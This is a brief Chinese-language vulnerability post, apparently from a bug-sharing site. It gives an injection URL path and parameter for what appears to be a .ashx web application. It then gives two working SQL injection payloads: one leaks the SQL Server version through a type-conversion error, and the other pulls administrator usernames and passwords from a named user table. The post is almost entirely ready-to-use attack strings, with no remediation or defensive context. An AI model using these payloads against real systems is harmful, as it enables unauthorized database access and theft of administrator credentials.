```
注入链接:/public/DataAccess/GeneralModule/GetFeatureInfo.ashx
注入参数:ID
【获取数据库版本】
SqlKey=Map_S_GetReseFeatureInfo_ZWP&STCD=rs048' and 1=convert(int,@@version) and 'e'='e&dateForAjax=659
【管理员账号密码】
SqlKey=Map_S_GetReseFeatureInfo_ZWP&STCD=rs048'+AND+2709=((select+top+1+UserID%2b'---'%2bUserPwd+from+strongmain.dbo.Web_SystemUser))+AND+'EcwM'='EcwM&dateForAjax=659
```


暂无评论